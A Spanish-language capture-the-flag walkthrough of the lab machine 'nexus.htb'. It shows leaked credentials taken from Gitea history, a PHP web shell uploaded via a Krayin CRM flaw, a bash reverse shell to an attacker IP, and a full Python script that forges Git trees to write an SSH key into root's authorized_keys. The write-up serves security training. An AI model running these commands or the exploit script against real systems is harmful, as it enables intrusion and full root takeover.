Reconocimiento inicial

Enumeración con nmap

Comenzamos la fase de enumeración identificando la superficie de ataque mediante un escaneo de puertos. Utilizamos nmap para listar los servicios activos y sus versiones.

$
 nmap -F -sV -n -Pn 10.129.82.149
Nmap scan report for 10.129.82.149
Host is up (0.042s latency).
Not shown: 98 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El resultado del escaneo revela dos servicios activos. Entre ellos, un servicio SSH en el puerto (22) y un servicio web nginx en el puerto 80.


Al comprobar que la web principal no muestra funcionalidades, formularios ni rutas de interés, más allá de un email (j.matthew@nexus.htb) perteneciente a un posible usuario que se revela al acceder a una oferta de trabajo publicada al final de la página.

Procedemos a realizamos una búsqueda de subdominios mediante fuzzing de la cabecera Host para identificar posibles entornos virtuales ocultos. solo un email de un posible usuario al pulsar sobre una oferta de trabajo publicada al final de la página.

$
ffuf -u http://10.129.82.149/ \                         
  -H 'Host: FUZZ.nexus.htb' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -ac -mc all
git                     [Status: 200, Size: 14472, Words: 1195, Lines: 242, Duration: 47ms]
billing                 [Status: 302, Size: 390, Words: 60, Lines: 12, Duration: 113ms]

El escaneo revela dos subdominios: git y billing. Inspeccionamos primero el servicio asociado a git, ya que una mala configuración en este tipo de paneles suele permitir la exfiltración de código fuente o credenciales.


Análisis del repositorio

Al acceder al subdominio git.nexus.htb, encontramos una instancia de Gitea con un repositorio público que contiene la estructura del proyecto, incluyendo archivos como docker-compose.yml, directorios de documentación y el archivo .env.

Repositio en Gitea

Al inspeccionar el contenido del archivo .env, obtenemos información sobre la configuración del entorno, como usuarios y correos del sistema:

usuario krayin
email laravel@krayincrm.com

Analizando el historial de commits del repositorio, localizamos una versión previa del archivo .env donde se expuso la contraseña de la base de datos en claro:

Repositio en Gitea, Archivo env

N27xh!!2ucY04


Acceso al panel de Billing

A continuación, navegamos al subdominio billing.nexus.htb, donde tenemos un formulario de inicio de sesión.

Probamos las credenciales obtenidas sin éxito con el correo laravel@krayincrm.com. Sin embargo, reutilizando la contraseña N27xh!!2ucY04 con una de las direcciones corporativas identificadas previamente en la web principal j.matthew@nexus.htb, logramos autenticarnos correctamente en el panel.


Una vez dentro del panel de Billing, navegamos hasta el icono de usuario situado en la esquina superior derecha, donde comprobamos que la aplicación utiliza Krayin CRM versión 2.2.0.

Buscando vectores de ataque para esta versión, identificamos el CVE-2026-38526, una vulnerabilidad de ejecución remota de código autenticada (Authenticated RCE) derivada de una validación deficiente en la subida de archivos desde el endpoint /admin/tinymce/upload.

En Exploit-DB se encuentra disponible el exploit: Krayin CRM v2.2.x - Authenticated Remote Code Execution


Explotación manual de RCE en Krayin CRM (CVE-2026-38526)

El módulo de email del CRM permite adjuntar ficheros sin restringir extensiones peligrosas como .php.

Modulo Email

Al subir el archivo, capturamos la petición para comprobar que el archivo se carga correctamente y verificar si la respuesta revela la ruta en la que queda almacenado:

Modulo Email subida de archivos

Tras subir nuestro script y localizar la ruta de, verificamos que el servidor interpreta el código realizando una petición HTTP con curl:

$
curl -k http://billing.nexus.htb/storage/emails/1/shell.php?cmd=id
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre> 

Procedemos a iniciar Netcat escuchando el puerto 4444:

$
nc -lnvp 4444
listening on [any] 4444 ...

A continuación, lanzamos una reverse shell utilizando la propia web shell a través del navegador:

http://billing.nexus.htb/storage/emails/1/shell.php?cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.15.164%2F4444+0%3E%261%27

Con netcat preparado, en nuestra máquina recibimos la conexión con éxito con los privilegios del servidor web (www-data):

connect to [10.10.15.164] from (UNKNOWN) [10.129.82.149] 57584
bash: cannot set terminal process group (1396): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nexus:~/krayin/storage/app/public/tinymce$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@nexus:~/krayin/storage/app/public/tinymce$ 


Enumeración local

Una vez dentro del sistema como www-data, procedemos a enumerar el directorio actual de la aplicación web ~/krayin . Al listar los archivos ocultos, identificamos nuevamente un archivo .env.

~/krayin$
ls -la
total 568
drwxr-xr-x 14 www-data www-data   4096 May 12 12:06 .
drwxr-xr-x  4 root     root       4096 May 12 12:06 ..
-rw-r--r--  1 www-data www-data    220 Mar 17 09:46 .editorconfig
-rw-r--r--  1 www-data www-data   1195 Apr 22 22:50 .env
-rw-r--r--  1 www-data www-data   1124 Mar 17 09:46 .env.example
-rw-r--r--  1 www-data www-data    186 Mar 17 09:46 .gitattributes
-rw-r--r--  1 www-data www-data    455 Mar 17 09:46 .gitignore
[... SNIP ...]
~/krayin$
cat .env
[... SNIP ...]
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
DB_PREFIX=
[... SNIP ...]

Para identificar qué usuarios del sistema disponen de una shell interactiva y comprobar si la credencial ha sido reutilizada, filtramos el archivo /etc/passwd:

~/krayin$
grep -E -v "nologin|false|sync" /etc/passwd
root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash


Movimiento lateral: Usuario jones

Tenemos el usuario jones, probamos reutilización de la contraseña mediante SSH:

$
ssh jones@10.129.82.149
jones@nexus:~$
id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)


Escalada de privilegios

Durante la fase de enumeración del sistema, revisamos los temporizadores activos de systemctl para identificar tareas recurrentes ejecutadas por usuarios con privilegios elevados:

jones@nexus:~$
systemctl list-timers
NEXT                            LEFT LAST                              PASSED UNIT                           ACTIVATES         >
Sun 2026-08-23 14:11:21 UTC      22s Sun 2026-08-23 14:10:21 UTC      37s ago gitea-template-sync.timer      gitea-template-syn>
Sun 2026-08-23 14:20:00 UTC     9min Sun 2026-08-23 14:10:01 UTC      57s ago sysstat-collect.timer          sysstat-collect.se>
[... SNIP ...]

El listado revela el temporizador gitea-template-sync.timer , el cual ejecuta de forma periódica un script de sincronización escrito en Python ubicado en /etc/gitea/template-sync.py.

Inspeccionamos el código fuente del script para analizar su lógica de funcionamiento:

def sync_template(repo_info):
    owner = repo_info['owner']['login']
    name = repo_info['name'].lower()
    bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
    stage_path = os.path.join(STAGING_DIR, owner, name)
    
    # [... SNIP ...]
    
    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)

        try:
            os.makedirs(target_dir, exist_ok=True)
            # [... SNIP ...]
            with open(target, 'wb') as f:
                f.write(cat_result.stdout)

Al leer el script de sincronización, se observa que procesa los repositorios de plantillas y sincroniza su contenido utilizando las rutas devueltas por git ls-tree

La vulnerabilidad se encuentra en el uso de os.path.join() sobre las rutas de archivo sin procesar, sin aplicar ninguna validación ni sanitización contra secuencias de recorrido de directorios.

Dado que git ls-tree puede incluir rutas con secuencias .. y os.path.join() las resuelve, es posible escribir ficheros de forma arbitraria en cualquier ubicación accesible por el contexto de ejecución.

Como el directorio base de preparación se sitúa en /home/git/template-staging/<owner>/<repo>/, calculamos que se necesitan cinco saltos de directorio (../../../../root) para alcanzar la ruta /root/.ssh/authorized_keys e inyectar nuestra clave pública SSH.


Gitea Template Directory Traversal

Primero, generamos un par de claves SSH en nuestra máquina local para la posterior autenticación:

$
ssh-keygen -t ed25519 -f /tmp/.k -N ''

Iniciamos sesión en Gitea con las credenciales de jones. A continuación, creamos un nuevo repositorio llamado rce y lo marcamos explícitamente como repositorio de tipo plantilla (template), permitiendo que el script automatizado del sistema lo procese.

Gitea, Nuevo repositorio template

Ahora clonamos el repositorio y usamos un script de Python para crear objetos Git sin procesar con componentes de recorrido de ruta.

$
cd /tmp
$
git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
$
cd rce
$
touch README.md

Las comprobaciones de seguridad integradas en el cliente oficial de Git (verify_path()) impiden crear rutas que contengan secuencias de escape como ... Para sortear esta restricción interactuamos directamente con la base de datos interna de objetos de Git, omitiendo la interfaz de comandos.

Internamente, Git almacena la información mediante tres tipos principales de objetos ubicados en .git/objects/:

  • Blob: Contiene datos en bruto, como el contenido de un archivo.
  • Tree: Actúa como un directorio, asociando nombres de archivos o carpetas con sus respectivos hashes y permisos.
  • Commit: Apunta al árbol raíz (root tree) y almacena metadatos del autor y del commit.

Utilizamos el siguiente script en Python (build.py) para construir el payload:

# build.py
#!/usr/bin/env python3
import hashlib, zlib, os, subprocess, sys, time

def write_obj(data, t):
    h = ("%s %d" % (t, len(data))).encode() + b"\x00"
    s = h + data
    sha = hashlib.sha1(s).hexdigest()
    d = os.path.join(".git", "objects", sha[:2])
    os.makedirs(d, exist_ok=True)
    p = os.path.join(d, sha[2:])
    if not os.path.exists(p):
        open(p, "wb").write(zlib.compress(s))
    return sha

def entry(mode, name, sha):
    return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)

if not os.path.isdir(".git"):
    print("Run inside git repo")
    sys.exit(1)

r = subprocess.run(["cat", "/tmp/.k.pub"], capture_output=True, text=True)
if r.returncode != 0:
    print("ssh-keygen -t ed25519 -f /tmp/.k -N ''")
    sys.exit(1)

key = r.stdout.strip() + "\n"
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")

ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")
cur = write_obj(entry("40000", ".ssh", ssh_t), "tree")
fir = write_obj(entry("40000", "root", cur), "tree")

for i in range(4):
    fir = write_obj(entry("40000", "..", fir), "tree")

root = write_obj(entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree")

ts = int(time.time())
c = "tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n" % (root, ts, ts)
sha = write_obj(c.encode(), "commit")

os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Done: " + sha)
Funcionamiento del script

Funcionamiento interno de los objetos Tree en Git

Para comprender el funcionamiento del script, es necesario analizar cómo almacena Git sus directorios a bajo nivel. A diferencia de los ficheros planos (blobs), un objeto de tipo tree funciona como un directorio estructurado de forma binaria. Cada entrada dentro de un árbol contiene los siguientes elementos concatenados:

  • El modo de permisos en script (por ejemplo, 40000 para directorios o 100644 para archivos).
  • Un espacio y el nombre del archivo o carpeta.
  • Un byte nulo (\0) como delimitador estricto.
  • El hash SHA-1 del objeto hijo correspondiente, convertido obligatoriamente a su representación binaria pura de 20 bytes (y no a la cadena hexadecimal habitual de 40 caracteres).

La función entry() del script reproduce esta estructura a nivel de bytes, permitiendo empaquetar directorios directamente en la base de datos de objetos.

La cadena de saltos de directorio (..)

El bucle del script ejecuta cuatro iteraciones consecutivas donde cada nuevo objeto de tipo árbol contiene una única entrada llamada .. que apunta al hash del árbol generado en la iteración anterior.

Al encadenar estos objetos, se crea una estructura jerárquica invertida dentro de la base de datos de Git. Cuando un proceso automatizado solicita la lista de archivos de forma recursiva (mediante un comando equivalente a git ls-tree -r HEAD), el sistema recorre estos árboles y genera una ruta resultante que incluye múltiples secuencias de escape de directorio.

Cómo opera el script de sincronización del servidor

La vulnerabilidad se hace posible por la forma en que el script de sincronización del servidor (template-sync.py) procesa las rutas. En su lógica interna, el script utiliza la función os.path.join() de Python para construir la ruta final de destino:

target = os.path.join(stage_path, filepath)

En Python, os.path.join() evalúa los componentes de las rutas de derecha a izquierda; si encuentra una secuencia de retroceso relativa (..), desecha los niveles anteriores del directorio base (/home/git/template-staging/...) y asciende en el árbol de directorios.

Debido a que el árbol malicioso de Git contenía suficientes niveles de escape, la ruta resultante sale por completo del directorio confinado del repositorio y apunta de forma absoluta a /root/.ssh/authorized_keys, logrando que el backend del servidor escriba la clave pública del atacante con privilegios elevados.


Ejecución del script y sincronización

Una vez creado el script build.py y creada la estructura maliciosa en el repositorio clonado, ejecutamos el script localmente:

$
python3 /tmp/build.py
Done: 7f8e9d0c1b2a3f4e5d6c7b8a9f0e1d2c3b4a5f6e

Forzamos la subida de los cambios modificados al repositorio remoto en Gitea:

$
git push -u origin main --force

Esperamos a que el temporizador del sistema ejecute de nuevo la tarea de sincronización automática. Para confirmar que el proceso se ha completado con éxito, revisamos el registro de actividad del servicio:

jones@nexus:~$
cat /var/log/template-sync.log
[2026-03-23 18:31:00] Template sync starting
[2026-03-23 18:31:00] Found 2 template repo(s)
[2026-03-23 18:31:00] Syncing template: jones/rce
[2026-03-23 18:31:00] synced: README.md
[2026-03-23 18:31:00] Syncing template: jones/rce
[2026-03-23 18:31:00] synced: README.md
[2026-03-23 18:31:00] synced: ../../../../../root/.ssh/authorized_keys
[2026-03-23 18:31:00] Template sync complete

El registro confirma que el script del sistema ha interpretado las rutas de salto y ha escrito nuestra clave pública en el archivo /root/.ssh/authorized_keys.

Establecemos la conexión SSH utilizando la clave privada generada al inicio para autenticarnos con privilegios de superusuario:

$
ssh -i /tmp/.k root@nexus.htb
root@nexus:~#
id
uid=0(root) gid=0(root) groups=0(root)